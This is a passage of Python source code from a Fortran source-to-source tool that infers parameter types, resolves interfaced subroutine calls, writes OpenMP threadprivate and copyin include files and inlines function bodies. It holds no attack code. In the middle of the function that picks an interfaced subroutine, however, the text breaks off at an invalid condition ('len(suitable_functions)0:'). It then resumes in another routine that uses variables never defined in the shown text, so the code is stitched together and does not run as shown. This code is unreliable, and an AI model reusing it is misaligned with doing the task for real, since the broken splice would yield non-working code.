#SPREAD\n if first_call[\"function_name\"] == \"spread\":\n first_param = parameter[0].split(\"(\",1)[1].split(\")\")[0].split(\",\")[0].strip()\n inside_info = self.get_param_info((first_param,False),local_variables, local_module_variables)\n spread_dims = [\":\" for x in inside_info[3]]\n #Result dim is source array dim+1\n spread_dims.append(\":\")\n return (parameter[0],False,inside_info[2],spread_dims)\n if first_call[\"function_name\"] == \"real\":\n inside_info = self.get_param_info((first_call[\"parameters\"][0],False),local_variables, local_module_variables)\n return (parameter[0],False,\"real\",inside_info[3])\n if first_call[\"function_name\"] == \"int\":\n inside_info = self.get_param_info((first_call[\"parameters\"][0],False),local_variables, local_module_variables)\n return (parameter[0],False,\"integer\",inside_info[3])\n if first_call[\"function_name\"] == \"trim\":\n return (parameter[0],False,\"character\",[])\n if first_call[\"function_name\"] == \"len\":\n return (parameter[0],False,\"integer\",[])\n #DCONST is Astaroth specific\n if first_call[\"function_name\"] in [\"merge\",\"dconst\"]:\n return self.get_param_info((first_call[\"parameters\"][0],False),local_variables,local_module_variables)\n if first_call[\"function_name\"] in self.func_info:\n file_path = self.find_subroutine_files(func_calls[0][\"function_name\"])[0]\n interfaced_call = self.get_interfaced_functions(file_path,func_calls[0][\"function_name\"])[0]\n _,type,param_dims = self.get_function_return_var_info(interfaced_call,self.get_subroutine_lines(interfaced_call, file_path), local_variables)\n return (parameter[0],False,type, param_dims)\n print(\"unsupported func\")\n pexit(first_call)\n elif parameter[0] in local_variables:\n return (parameter[0],parameter[1],local_variables[parameter[0]][\"type\"],local_variables[parameter[0]][\"dims\"])\n elif parameter[0] in local_module_variables:\n return (parameter[0],parameter[1],local_module_variables[parameter[0]][\"type\"],local_module_variables[parameter[0]][\"dims\"])\n elif \"'\" in parameter[0] or '\"' in parameter[0]:\n return (parameter[0],parameter[1],\"character\",[])\n elif any(operations):\n op_chars = []\n if is_sum:\n op_chars.append(\"+\")\n if is_difference:\n op_chars.append(\"-\")\n if is_product:\n op_chars.append(\"*\")\n if is_division:\n op_chars.append(\"/\")\n parts = [part.strip() for part in split_by_ops(parameter[0].strip(),op_chars)]\n # print(\"PARTS\",parts)\n parts_res = (\"\",False,\"\",[])\n for part in parts:\n if len(part) > 0 and part[0] == \"(\" and sum([char == \"(\" for char in part]) > sum([char == \")\" for char in part]):\n part = part[1:]\n if len(part) > 0 and part[-1] == \")\" and sum([char == \"(\" for char in part]) < sum([char == \")\" for char in part]):\n part = part[:-1]\n part_res = self.get_param_info((part,False),local_variables,local_module_variables)\n if parts_res[2] == \"\" or len(part_res[3])>len(parts_res[3]):\n parts_res = (parts_res[0],False,part_res[2],part_res[3])\n return parts_res\n elif \"%\" in parameter[0] and \"'\" not in parameter[0] and '\"' not in parameter[0]:\n var_name,field_name = [part.strip() for part in parameter[0].split(\"%\")]\n ##var_name can be array access if array of structures\n var_name = var_name.split(\"(\")[0]\n struct = \"\"\n if var_name in local_variables:\n struct = local_variables[var_name][\"type\"]\n else:\n struct = local_module_variables[var_name][\"type\"]\n field_name = field_name\n if \"(\" in field_name: \n var_dims = self.get_var_info_from_array_access(parameter,local_variables,local_module_variables)[-1]\n else:\n field = self.struct_table[struct][field_name]\n var_dims = field[\"dims\"]\n field_name = field_name.split(\"(\")[0]\n field = self.struct_table[struct][field_name]\n return (var_name,parameter[1],field[\"type\"],var_dims)\n elif \".and.\" in parameter[0] or \".not.\" in parameter[0] or \".or.\" in parameter[0]:\n return (parameter[0], False, \"logical\", [])\n elif \"(\" in parameter[0] and \")\" in parameter[0] and not any(operations) and \".and.\" not in parameter[0] and \".not.\" not in parameter[0]:\n var = parameter[0].split(\"(\")[0].strip()\n if var in local_variables or var in local_module_variables:\n return self.get_var_info_from_array_access(parameter,local_variables,local_module_variables)\n ##Boolean intrinsic funcs\n elif var in [\"present\",\"isnan\",\"associated\",\"allocated\",\"all\",\"any\"]:\n return (parameter[0],False,\"logical\",[])\n elif var in [\"trim\"]:\n return (parameter[0],False,\"character\",[])\n else:\n #check if function in source code\n print(parameter)\n pexit(\"how did I end up here?\")\n else:\n type =\"\"\n if \"'\" in parameter[0] or '\"' in parameter[0]:\n type = \"character\"\n\n elif parameter[0].isnumeric() or parameter[0][1:].isnumeric():\n type = \"integer\"\n elif parameter[0].replace(\".\",\"\").isnumeric() or parameter[0][1:].replace(\".\",\"\").isnumeric():\n type = \"real\"\n elif \".\" in parameter:\n if all([part.isnumeric() or part[1:].isnumeric() for part in parameter[0].split(\",\")]):\n type = \"real\"\n return (parameter[0],parameter[1],type,[])\n def get_static_passed_parameters(self,parameters,local_variables,local_module_variables):\n original_parameters = parameters\n parameters = [parameter.lower() for parameter in parameters]\n for i,param in enumerate(parameters):\n if len(param)>0 and param[0] == \"-\":\n parameters[i] = param[1:]\n res = list(zip(parameters,list(map(lambda x: (x in local_module_variables and x not in local_variables) or (x in local_variables and local_variables[x][\"saved_variable\"]),parameters))))\n for i,parameter in enumerate(res):\n param_name = parameter[0]\n func_calls = self.get_function_calls_in_line(param_name,local_variables)\n if len(func_calls) == 0:\n param_name = parameter[0].split(\"=\")[-1].strip()\n info = self.get_param_info((param_name,parameter[1]),local_variables,local_module_variables)\n if len(parameter[0].split(\"=\")) == 2:\n param_name,passed_param = [part.strip().lower() for part in parameter[0].split(\"=\")]\n res[i] = (info[0],info[1],info[2],info[3],param_name)\n else:\n res[i] = (info[0],info[1],info[2],info[3],None)\n\n return res\n\n def get_interfaced_functions(self,file_path,subroutine_name):\n func_info = self.get_function_info(subroutine_name)\n if(\"interface_funcs\" not in func_info):\n return [subroutine_name.lower()]\n if(file_path not in func_info[\"interface_funcs\"]):\n #colliding names for a subroutine and an interface\n return [subroutine_name.lower()]\n if(len(func_info[\"interface_funcs\"][file_path]) == 0):\n return [subroutine_name.lower()]\n res = [sub.lower() for sub in func_info[\"interface_funcs\"][file_path]]\n if subroutine_name in res:\n print(\"subroutine in it's own interface\")\n pexit(subroutine_name)\n return [sub for sub in res if file_path in self.func_info[sub][\"lines\"]]\n\n def generate_save_array_store(self,store_variable):\n res = f\"{store_variable}_generated_array(imn\"\n if len(self.static_variables[store_variable]['dims']) == 0:\n res += \",1\"\n else:\n for i in range(len(self.static_variables[store_variable]['dims'])):\n res += \",:\"\n res += f\") = {store_variable}\\n\"\n return res\n\n def generate_read_from_save_array(self,store_variable):\n res = f\"{store_variable} = {store_variable}_generated_array(imn\"\n if len(self.static_variables[store_variable]['dims']) == 0:\n res += \",1\"\n else:\n for i in range(len(self.static_variables[store_variable]['dims'])):\n res += \",:\"\n res +=\")\\n\"\n return res\n\n def generate_allocation_for_save_array(self,store_variable):\n res = f\"{self.static_variables[store_variable]['type']}, dimension (\"\n if self.static_variables[store_variable][\"allocatable\"]:\n res += \":\"\n else:\n res += \"nx*ny\"\n if len(self.static_variables[store_variable]['dims']) == 0:\n if self.static_variables[store_variable][\"allocatable\"]:\n res += \",:\"\n else:\n res += \",1\"\n else:\n for dimension in self.static_variables[store_variable][\"dims\"]:\n res += f\",{dimension}\"\n res += \")\"\n if self.static_variables[store_variable][\"allocatable\"]:\n res += \", allocatable\"\n res += f\" :: {store_variable}_generated_array\\n\"\n return res\n\n def save_static_variables(self):\n with open(\"static_variables.csv\",\"w\",newline='') as csvfile:\n writer = csv.writer(csvfile)\n for variable in self.static_variables.keys():\n writer.writerow([variable,self.static_variables[variable][\"type\"],self.static_variables[variable][\"dims\"],self.static_variables[variable][\"allocatable\"],self.static_variables[variable][\"origin\"],self.static_variables[variable][\"public\"],self.static_variables[variable][\"threadprivate\"]])\n \n def read_static_variables(self):\n with open(\"static_variables.csv\",\"r\",newline='') as csvfile:\n reader = csv.reader(csvfile)\n for row in reader:\n self.static_variables[row[0]] = {\"type\": row[1], \"dims\": [dim for dim in row[2].replace(\"'\",\"\").strip('][').split(', ') if dim != \"\"], \"allocatable\": (row[3].lower() in (\"yes\", \"true\", \"t\", \"1\")), \"origin\": row[4], \"public\": (row[5].lower() in (\"yes\", \"true\", \"t\", \"1\")), \"threadprivate\": (row[6].lower() in (\"yes\", \"true\", \"t\", \"1\"))}\n\n def save_static_writes(self,static_writes):\n keys = static_writes[0].keys()\n with open(\"writes.csv\",\"w\",newline='') as output_file:\n dict_writer = csv.DictWriter(output_file, keys)\n dict_writer.writeheader()\n dict_writer.writerows(static_writes)\n\n def read_static_writes(self):\n with open(\"writes.csv\", mode=\"r\") as infile:\n return [dict for dict in csv.DictReader(infile)]\n\n def get_threadprivate_declarations_and_generate_threadpriv_modules(self,files,threadprivate_variables,critical_variables):\n modules_file= open(f\"{self.directory}/threadpriv_modules.inc\",\"w\")\n use_modules_file= open(f\"{self.directory}/use_threadpriv_modules.inc\",\"w\")\n copy_in_call_file = open(f\"{self.directory}/copyin.inc\",\"w\")\n threadprivate_declarations = {}\n exceptions = [\"cdata.f90\",\"cparam.f90\"]\n for file in files:\n threadprivate_variables_to_add = []\n static_variables_end = self.get_contains_line_num(file)\n vars = list(self.get_variables(self.get_lines(file, 1, static_variables_end), {}, file).keys())\n vars_to_make_private = [variable for variable in vars if variable in self.static_variables and (variable in threadprivate_variables or self.static_variables[variable][\"threadprivate\"]) and variable not in critical_variables and variable != \"\"]\n if(len(vars_to_make_private) > 0):\n module = self.get_own_module(file)\n copy_in_file = open(f\"{file.replace('.f90','')}_copyin.inc\",\"w\")\n if not any([exp in file for exp in exceptions]):\n copy_in_file.write(f\"subroutine copyin_{module}\\n\")\n copy_in_file.write(\"!$omp parallel copyin( &\\n\")\n var_num = 0\n for var in vars_to_make_private:\n if var_num > 0:\n copy_in_file.write(f\"!$omp ,{var} &\\n\")\n else:\n copy_in_file.write(f\"!$omp {var} &\\n\")\n var_num += 1\n res_lines = [f\"!$omp threadprivate({var})\" for var in vars_to_make_private]\n res_line = \"\"\n for x in res_lines:\n res_line += x + \"\\n\"\n threadprivate_declarations[file] = res_line\n modules_file.write(f\"{self.get_own_module(file)}\\n\")\n use_modules_file.write(f\"use {self.get_own_module(file)}\\n\")\n \n copy_in_file.write(\"!$omp )\\n\")\n copy_in_file.write(\"!$omp end parallel\\n\")\n if not any([exp in file for exp in exceptions]):\n copy_in_file.write(f\"end subroutine copyin_{module}\\n\")\n copy_in_call_file.write(f\"call copyin_{module}\\n\")\n copy_in_file.close()\n\n modules_file.close()\n copy_in_call_file.close()\n use_modules_file.close()\n return threadprivate_declarations\n\n def generate_copy_in(self,files,threadprivate_variables):\n variables = []\n for file in files:\n threadprivate_variables_to_add = []\n static_variables_end = self.get_contains_line_num(file)\n vars = list(self.get_variables(self.get_lines(file, 1, static_variables_end), {}, file).keys())\n private_vars = [variable for variable in vars if variable in self.static_variables and (variable in threadprivate_variables or self.static_variables[variable][\"threadprivate\"]) and variable != \"\"]\n variables.extend(private_vars)\n variables = unique_list(variables)\n print(\"Creating copyin.inc\")\n split_str = \",\\n!$omp\"\n copyin_line = f\"!$omp parallel copyin({split_str.join(variables)})\\n\"\n copyin_file = open(\"copyin.inc\", \"w\")\n # copyin_file.write(\"subroutine copyin_func()\\n\")\n copyin_file.write(copyin_line)\n copyin_file.write(\"!$omp end parallel\")\n copyin_file.close()\n\n \n def add_atomic_declarations(self,variables):\n files = self.used_files\n for file in files:\n res_contents = []\n contents = self.get_lines(file,include_comments=True)\n for i,line in enumerate(contents):\n res_contents.append(line)\n if line[0] != \"!\":\n writes = self.get_writes_from_line(line)\n\n #handle where writes\n if \"if\" in line or line.split(\"(\")[0].strip() == \"where\":\n for variable in variables:\n if variable in [write[\"variable\"] for write in writes]:\n last_line = res_contents[-1]\n res_contents[-1] = \"!omp critical\\n\"\n res_contents.append(last_line)\n res_contents.append(\"!omp end critical\\n\")\n #handle do loop writes\n elif re.match(\"do\\s+.=.+,\\s?\",line.split(\";\")[0]) and len(line.split(\";\"))==2:\n for variable in variables:\n if variable in [write[\"variable\"] for write in writes]:\n res_contents[-1] = (f\"{line.split(';')[0]}\\n\")\n res_contents.append(\"!omp critical\\n\")\n res_contents.append(f\"{line.split(';')[1]}\\n\")\n res_contents.append(\"!omp end critical\\n\")\n #let's see if there is a corresponding enddo\n current_index = i+1\n no_end_do = True\n iter_line = contents[current_index][0]\n while no_end_do and not re.match(\"do\\s+.=.+,\\s?\",iter_line):\n no_end_do = not (re.match(\"enddo\",iter_line) or re.match(\"end do\",iter_line))\n current_index += 1\n iter_line = contents[current_index][0]\n if no_end_do:\n res_contents.append(\"enddo\")\n \n else:\n for variable in variables:\n if variable in [write[\"variable\"] for write in writes]:\n last_line = res_contents[-1]\n res_contents[-1] = \"!omp critical\\n\"\n res_contents.append(last_line)\n res_contents.append(\"!omp end critical\\n\")\n #If one one's the more performant omp atomic\n #last_line = res_contents[-1]\n #res_contents[-1] = \"!$omp atomic\\n\"\n #res_contents.append(last_line)\n\n with open(f\"./out/{file}\",\"w\") as f:\n f.write(\"\\n\".join(res_contents))\n\n def make_variables_public(self,variables):\n files = unique_list([self.static_variables[variable][\"origin\"] for variable in variables ])\n for file in files:\n res_contents = []\n contents = self.get_lines(file,include_comments=True)\n in_module_declaration = True\n in_struct = False\n for count,line in enumerate(contents):\n res_contents.append(line)\n if line.split(\" \")[0] == \"type\":\n in_struct = True\n if line.split(\" \")[0] == \"endtype\":\n in_struct = False\n if in_module_declaration and not in_struct:\n if re.match(\"function\\s+.+\\(.+\\)\",line) or re.match(\"subroutine\\s+.+\\(.+\\)\",line) or line.strip() == \"contains\":\n in_module_declaration = False\n parts = line.split(\"::\")\n if len(parts) > 1:\n line_variables = parts[1].strip()\n variable_names = self.get_variable_names_from_line(line_variables)\n res_contents.extend([f\"public :: {variable}\" for variable in variable_names if variable in variables and self.static_variables[variable][\"origin\"] == file and not self.static_variables[variable][\"public\"]])\n\n with open(f\"./out/{file}\",\"w\") as f:\n f.write(\"\\n\".join(res_contents))\n def get_function_info(self,function):\n return self.func_info[function]\n def is_elemental(function):\n func_info = self.get_function_info(function)\n return func_info[\"is_elemental\"]\n\n def choose_correct_interfaced_function(self,call,interfaced_functions,parameter_list,file_path):\n #Unfortunately different modules have different calling structures of the same function so can be 0 for a file.\n subroutine_name = call[\"function_name\"]\n suitable_functions = []\n for function in interfaced_functions:\n is_suitable = True\n subroutine_lines = self.get_subroutine_lines(function, file_path)\n parameters = self.get_parameters(subroutine_lines[0])\n is_elemental = \"elemental\" in subroutine_lines[0]\n local_variables = {parameter:v for parameter,v in self.get_variables(subroutine_lines, {},file_path, True).items() }\n mapping = self.get_parameter_mapping(parameters,parameter_list)\n ##For testing uncomment\n # print(\"FUNCTION\",function, \"IN\", file_path)\n # print(\"PARAMS\")\n # for param in parameters:\n # print(param, local_variables[param])\n #if mapping is less than parameter list than some named optional paramaters are not present in sub parameters\n is_suitable = len(mapping) == len(parameter_list) and len(parameters) >= len(parameter_list)\n ##check if type and length of dims match between passed parameter and function parameter.\n ## All other parameters need to be optional \n if is_suitable:\n # print(len(parameter_list))\n for i, passed_param in enumerate(parameter_list):\n is_suitable = is_suitable and passed_param[2] == local_variables[parameters[mapping[i]]][\"type\"] \n if not is_elemental:\n is_suitable = is_suitable and len(passed_param[3]) == len(local_variables[parameters[mapping[i]]][\"dims\"])\n for i in [j for j in range(len(parameters)) if j not in mapping]:\n is_suitable = is_suitable and local_variables[parameters[i]][\"optional\"]\n if is_suitable:\n num_of_needed_params = 0\n for param in parameters:\n if not local_variables[param][\"optional\"]:\n num_of_needed_params = num_of_needed_params + 1\n is_suitable = is_suitable and len(parameter_list) >= num_of_needed_params\n if is_suitable:\n suitable_functions.append(function)\n num_of_suitable_needed = 1 if self.offloading else 0\n if len(suitable_functions) > 1 or len(suitable_functions)0:\n print(f\"There are no suitable function for the interface call: \",subroutine_name)\n print(\"Params: \",parameter_list)\n print(\"Original candidates: \", all_functions)\n pexit(sub_call)\n self.subroutine_modifies_param[subroutine_name][str(param_types)] = global_modified_list\n\n def replace_vars_in_lines(self,lines, new_names,exclude_variable_lines=False):\n if exclude_variable_lines:\n res_lines = []\n for line in lines:\n if is_body_line(line):\n res_lines.append(self.replace_variables_multi(line,new_names))\n else:\n res_lines.append(line)\n return res_lines\n return [self.replace_variables_multi(line, new_names) for line in lines]\n def replace_var_in_lines(self, lines, old_var, new_var):\n # return [add_splits(replace_variable(line,old_var,new_var)) for line in lines]\n return [replace_variable(line,old_var,new_var) for line in lines]\n def get_subroutine_lines(self,subroutine_name,filename):\n func_info = self.get_function_info(subroutine_name)\n print(\"sub name\",subroutine_name)\n print(\"files\", [file for file in func_info[\"lines\"]])\n print(\"files\", [file for file in func_info[\"files\"]])\n print(\"lines\", [file for file in func_info[\"files\"]])\n return func_info[\"lines\"][filename]\n def turn_f_size(self,params):\n if len(params) > 1:\n dim = params[1][0]\n if dim == \"1\":\n return global_subdomain_range_with_halos_x\n elif dim == \"2\":\n return global_subdomain_range_with_halos_y\n elif dim == \"3\":\n return global_subdomain_range_with_halos_z\n elif dim == \"4\":\n return number_of_fields\n else:\n print(\"Weird dim in size\")\n print(dim)\n pexit(params)\n else:\n return \"mx*my*mz\"\n def get_dim_info(self,param,local_variables,variables_in_scope,writes):\n if param in local_variables:\n src = local_variables\n else:\n src = self.static_variables\n if not any([\":\" in dim or \"size\" in dim for dim in src[param][\"dims\"]]):\n print(\"here\",param)\n return src[param][\"dims\"]\n var_writes = []\n res_dims = [\":\" for i in range(len(src[param][\"dims\"]))]\n for write in writes:\n if write[\"variable\"] == param:\n var_writes.append(write)\n vars_in_line = [var for var in get_used_variables_from_line(write[\"line\"]) if var in self.static_variables or var in local_variables]\n vars_dims = []\n for var in vars_in_line:\n if var in local_variables:\n src = local_variables\n else:\n src = self.static_variables\n vars_dims.append(src[var][\"dims\"])\n dims_index = 0\n for var_dims in vars_dims:\n for i, var_dim in enumerate(var_dims):\n if var_dim != \":\" and \"size\" not in var_dim:\n if len(res_dims) <= i:\n res_dims.append(var_dim)\n else:\n res_dims[i] = var_dim\n print(\"returning\",res_dims)\n return res_dims\n\n def get_size(self, func_call, local_variables, variables_in_scope, writes):\n params = func_call[\"parameters\"]\n if params[0] == \"f\":\n return self.turn_f_size(params)\n elif params[0] in local_variables and all([\":\" not in dim and \"size\" not in dim for dim in local_variables[params[0]]['dims']]):\n sizes = local_variables[params[0]][\"dims\"]\n elif params[0] in local_variables and len(local_variables[params[0]][\"dims\"]) == 1 and \"size\" in local_variables[params[0]][\"dims\"][0]:\n size_func_call = self.get_function_calls_in_line(local_variables[params[0]][\"dims\"][0],local_variables)[0]\n sizes = self.get_size(size_func_call, local_variables, variables_in_scope, writes)\n local_variables[params[0]][\"dims\"] == [\"*\".join(sizes)]\n else:\n print(\"size call\", func_call)\n info = self.get_param_info((params[0],False),local_variables,self.static_variables)\n print(\"param info\",info)\n sizes = info[3]\n if len(func_call[\"parameters\"]) == 1:\n return \"*\".join(sizes)\n else:\n dim = func_call[\"parameters\"][1]\n return sizes[int(dim)-1]\n def replace_func_call(self, line,func_call, replacement):\n return line[:func_call[\"range\"][0]] + replacement + line[func_call[\"range\"][1]:]\n def get_function_return_var_info(self,subroutine_name,subroutine_lines,local_variables):\n #has named return value\n local_variables = {parameter:v for parameter,v in self.get_variables(subroutine_lines, {},self.file, True).items() }\n result_func_calls = [call for call in self.get_function_calls_in_line(subroutine_lines[0],local_variables) if call[\"function_name\"] == \"result\"]\n if \"result\" in subroutine_lines[0] and len(result_func_calls) == 1:\n return_var = result_func_calls[0][\"parameters\"][0]\n else:\n #if not named them default name is the function name\n return_var = subroutine_name\n #return value type is the local variable with it's name\n if return_var in local_variables:\n type = local_variables[return_var][\"type\"]\n return_dims = local_variables[return_var][\"dims\"]\n else:\n return_dims = []\n if \"character\" in subroutine_lines[0]:\n type = \"character\"\n elif \"real\" in subroutine_lines[0]:\n type = \"real\"\n elif \"integer\" in subroutine_lines[0]:\n type = \"integer\"\n elif \"logical\" in subroutine_lines[0]:\n type = \"logical\"\n print(subroutine_lines[0])\n return (return_var, type, return_dims)\n def get_replaced_body(self, filename, parameter_list, function_call_to_replace, variables_in_scope,global_init_lines,subs_not_to_inline,elim_lines):\n original_subroutine_name = function_call_to_replace[\"function_name\"]\n ##in case is interfaced call get the correct subroutine\n print(\"GETTING REPLACED BODY FOR: \", function_call_to_replace)\n if function_call_to_replace[\"function_name\"][:3] == \"fft\":\n pexit(\"probably shouldn't inline fft func\")\n interfaced_functions = self.get_interfaced_functions(filename,original_subroutine_name)\n if len(interfaced_functions)>1:\n interfaced_functions = self.choose_correct_interfaced_function(function_call_to_replace,interfaced_functions,parameter_list,filename)\n subroutine_name = interfaced_functions[0]\n if \"inlined_lines\" not in self.func_info[subroutine_name]:\n \n self.inline_all_function_calls(filename,subroutine_name,self.get_subroutine_lines(subroutine_name,filename),subs_not_to_inline,elim_lines)\n if filename not in self.func_info[subroutine_name][\"inlined_lines\"]:\n self.inline_all_function_calls(filename,subroutine_name,self.get_subroutine_lines(subroutine_name,filename),subs_not_to_inline,elim_lines)\n subroutine_lines = self.func_info[subroutine_name][\"inlined_lines\"][filename]\n #subroutine_lines = self.get_subroutine_lines(subroutine_name,filename)\n\n print(\"FILENAME: \",filename,original_subroutine_name,subroutine_name)\n init_lines = [line for line in subroutine_lines if is_init_line(line)]\n\n lines = subroutine_lines\n local_variables = {parameter:v for parameter,v in self.get_variables(subroutine_lines, {},filename, True).items() }\n variables = merge_dictionaries(self.static_variables,local_variables)\n\n res_init_lines = []\n for line in init_lines:\n if len([part.strip() for part in line.split(\"::\")[-1].split(\",\")]) > 1:\n res = line.split(\"::\")[-1].strip()\n vars = []\n num_of_left_brackets = 0\n num_of_right_brackets = 0\n buffer = \"\"\n for char in res:\n if char == \"(\":\n num_of_left_brackets += 1\n if char == \")\":\n num_of_right_brackets += 1\n if char == \",\" and num_of_right_brackets == num_of_left_brackets:\n vars.append(buffer.strip())\n buffer = \"\"\n else:\n buffer = buffer + char\n if buffer.strip() != \"\":\n vars.append(buffer.strip())\n for var in vars:\n res_init_lines.append(line.split(\"::\")[0].strip() + \"::\" + var)\n else:\n res_init_lines.append(line)\n init_lines = res_init_lines\n params = self.get_parameters(subroutine_lines[0])\n remove_indexes = []\n for i,line in enumerate(init_lines):\n for param in params:\n if param in [part.strip() for part in line.split(\"::\")[-1].split(\",\")]:\n remove_indexes.append(i)\n init_lines = [x[1] for x in enumerate(init_lines) if x[0] not in remove_indexes]\n\n\n is_function = \"function\" in subroutine_lines[0]\n if is_function:\n return_var,type,_ = self.get_function_return_var_info(subroutine_name,subroutine_lines,local_variables) \n else:\n type = None\n result_func_calls = [call for call in self.get_function_calls_in_line(subroutine_lines[0],local_variables) if call[\"function_name\"] == \"result\"]\n has_named_return_value = \"result\" in subroutine_lines[0] and len(result_func_calls) == 1\n if is_function and not has_named_return_value:\n init_lines.append(f\"{type} :: {return_var}\")\n\n\n new_lines = [x.lower() for x in lines]\n mapping = self.get_parameter_mapping(params, parameter_list)\n\n passed_param_names = [x.split(\"=\",1)[-1].strip() for x in function_call_to_replace[\"parameters\"]]\n present_params = [x[1] for x in enumerate(params) if x[0] in mapping]\n optional_present_params = [x for x in present_params if local_variables[x][\"optional\"]]\n not_present_params = [param for param in params if param not in present_params]\n\n #remove_lines that write to parameters that are not passed\n remove_indexes = []\n for i,line in enumerate(new_lines):\n writes = self.get_writes_from_line(line)\n if(len(writes) == 1):\n if writes[0][\"variable\"] in not_present_params:\n remove_indexes.append(i)\n\n new_lines = [x[1] for x in enumerate(new_lines) if x[0] not in remove_indexes]\n\n for i,line in enumerate(new_lines):\n #replace present with false if not present and true if present\n #Done for speed optimization\n # if \"present(\" in line or \"loptest(\" in line or any([x in line for x in not_present_params]):\n if \"present(\" in line or \"where(\" in line:\n func_calls = self.get_function_calls_in_line(line,local_variables)\n present_func_calls = [func_call for func_call in func_calls if func_call[\"function_name\"] == \"present\"]\n present_func_call_segments = [(None, call[\"range\"][0], call[\"range\"][1]) for call in present_func_calls]\n # present_vars = [call[\"parameters\"][0] for call in present_func_calls]\n present_map_val = [line[call[\"range\"][0]:call[\"range\"][1]] if call[\"parameters\"][0] in optional_present_params else \".false.\" if call[\"parameters\"][0] in not_present_params else \".true.\" for call in present_func_calls]\n # for x in present_func_calls:\n # if x[\"parameters\"] in optional_present_params:\n # present_map_val.append(line[x[\"range\"][0]:x[\"range\"][1]])\n # elif x[\"para\"]\n\n #replace loptest with false if not present and with the value if present\n # loptest_func_calls = [func_call for func_call in func_calls if func_call[\"function_name\"] == \"loptest\" and len(func_call[\"parameters\"]) == 1]\n\n # loptest_func_call_segments = [(None, call[\"range\"][0], call[\"range\"][1]) for call in loptest_func_calls]\n # loptest_vars = [call[\"parameters\"][0] for call in loptest_func_calls]\n # loptest_map_val = [\".false.\" if var in not_present_params else var for var in loptest_vars]\n\n\n #remove params from funcs if the param was not passed.\n #This enables correct deduction for present values\n # not_present_func_call = [x for x in func_calls if x[\"function_name\"] not in [\"present\",\"loptest\"] and any([param in x[\"parameters\"] for param in not_present_params])]\n # not_present_map_val = []\n # not_present_func_call_segments = [(None, call[\"range\"][0], call[\"range\"][1]) for call in not_present_func_call]\n # for call in not_present_func_call:\n # only_present_call_params = [x for x in call[\"parameters\"] if x not in not_present_params]\n # not_present_map_val.append(f\"{call['function_name']}({','.join(only_present_call_params)})\")\n # where_func_calls = [call for call in func_calls if call[\"function_name\"] == \"where\"]\n # where_call_segments = [(None, call[\"range\"][0], call[\"range\"][1]) for call in where_func_calls]\n # where_map_vals = []\n # for call in where_func_calls:\n # is_scalar_if = False\n # for seg in self.get_array_segments_in_line(line,variables):\n # param_info = self.get_param_info((line[seg[1]:seg[2]],False),local_variables,self.static_variables)\n # print(param_info)\n # is_scalar_if = is_scalar_if or (param_info[3] in [[global_subdomain_range_x,\"3\"],[global_subdomain_range_x]] )\n # for seg in self.get_struct_segments_in_line(line,variables):\n # param_info = self.get_param_info((line[seg[1]:seg[2]],False),local_variables,self.static_variables)\n # print(param_info)\n # is_scalar_if = is_scalar_if or (param_info[3] in [[global_subdomain_range_x],[global_subdomain_range_x,\"3\"]])\n # if not is_scalar_if:\n # print(\"what to about where\")\n # pexit(line)\n # else:\n # where_map_vals.append(line[call[\"range\"][0]:call[\"range\"][1]].replace(\"where\",\"if\",1) + \" then\")\n func_call_segments = present_func_call_segments\n # func_call_segments.extend(where_call_segments)\n # func_call_segments.extend(loptest_func_call_segments)\n # func_call_segments.extend(not_present_func_call_segments)\n map_val = present_map_val\n # map_val.extend(where_map_vals)\n # map_val.extend(loptest_map_val)\n # map_val.extend(not_present_map_val)\n\n info = {\n \"map_val\": map_val\n }\n line = self.replace_segments(func_call_segments,line,self.map_val_func,local_variables,info)\n new_lines[i] = line\n\n\n #replace all local_params that are not passed params with function specific names to prevent name collision with other inlined funcs\n new_local_var_names = {}\n for local_variable in [x for x in local_variables if x not in present_params]:\n new_local_var_names[local_variable] = f\"{local_variable}_{self.inline_num}\"\n #Rename return var\n if is_function:\n new_local_var_names[return_var] = f\"{return_var}_return_value_{self.inline_num}\"\n\n init_lines = self.replace_vars_in_lines(init_lines, new_local_var_names)\n new_lines = self.replace_vars_in_lines(new_lines, new_local_var_names)\n\n print(\"PARAMS:\",subroutine_lines,params)\n #replace variables with passed values\n for i, passed_param in enumerate(function_call_to_replace[\"parameters\"]):\n #in case was passed as a named param\n passed_param = passed_param.split(\"=\",1)[-1].strip()\n if \"(\" in passed_param:\n init_lines = self.replace_var_in_lines(init_lines, params[mapping[i]], passed_param)\n new_lines = self.replace_var_in_lines(new_lines, params[mapping[i]], passed_param)\n else:\n init_lines = self.replace_vars_in_lines(init_lines, {params[mapping[i]] : passed_param})\n new_lines = self.replace_vars_in_lines(new_lines, {params[mapping[i]]: passed_param})\n \n\n\n\n init_variables= {parameter:v for parameter,v in self.get_variables(init_lines, {},filename,True).items() }\n global_init_lines.extend(init_lines)\n global_init_lines = unique_list(global_init_lines)\n\n # #check for saved local variables\n # local_variables = {parameter:v for parameter,v in self.get_variables([(line,0) for line in new_lines], {},filename).items() }\n # for var in local_variables:\n # if local_variables[var][\"saved_variable\"] and not local_variables[var][\"parameter\"]:\n # if subroutine_name not in [\"set_from_slice_x\", \"set_from_slice_y\", \"set_from_slice_z\",\"bc_aa_pot_field_extrapol\",\"div\",\"get_reaction_rate\"] and self.get_own_module(filename) not in [\"special\",\"boundcond\"]:\n # print(\"saved variable\",var)\n # print(local_variables[var])\n # print(\"in:\",subroutine_name,filename)\n # pexit(\"abort\")\n\n lines = new_lines\n #Todo has to evaluate whether return line is hit or not\n has_return_line = False \n for count,line in enumerate(lines):\n if line.strip() == \"return\":\n has_return_line = True\n # if has_return_line:\n # print(\"\\n\\nlines before elimination\\n\\n\")\n # for (line,count) in lines:\n # print(line)\n # lines = [(line,0) for line in self.eliminate_while([x[0] for x in lines])]\n #TODO: fix\n # if has_return_line:\n # print(\"\\n\\nlines after elimination\\n\\n\")\n # for (line,count) in lines:\n # print(line)\n # if self.has_no_ifs(lines):\n # remove_indexes = []\n # has_return_line = False\n # for line_index,(line,count) in enumerate(lines):\n # has_return_line = has_return_line or line == \"return\"\n # if has_return_line:\n # remove_indexes.append(line_index)\n # lines = [x[1] for x in enumerate(lines) if x[0] not in remove_indexes]\n # else:\n # pexit(\"don't know what to do since return statement in a conditional branch\")\n for count,line in enumerate(lines):\n if \".false.=.true.\" in line:\n print(\"don't want to inline this func\")\n print(subroutine_name, original_subroutine_name)\n print(\"present params\",present_params)\n print(\"not present params\",not_present_params)\n print(init_lines)\n print(new_local_var_names)\n print(mapping)\n print(parameter_list)\n print(not_present_params)\n print(lines)\n print(\"iux__mod__cdata\" in self.static_variables)\n print(local_variables.keys())\n pexit(\"iux__mod__cdata\" in self.static_variables)\n return ([line for line in lines if is_body_line(line)],is_function,type)\n def 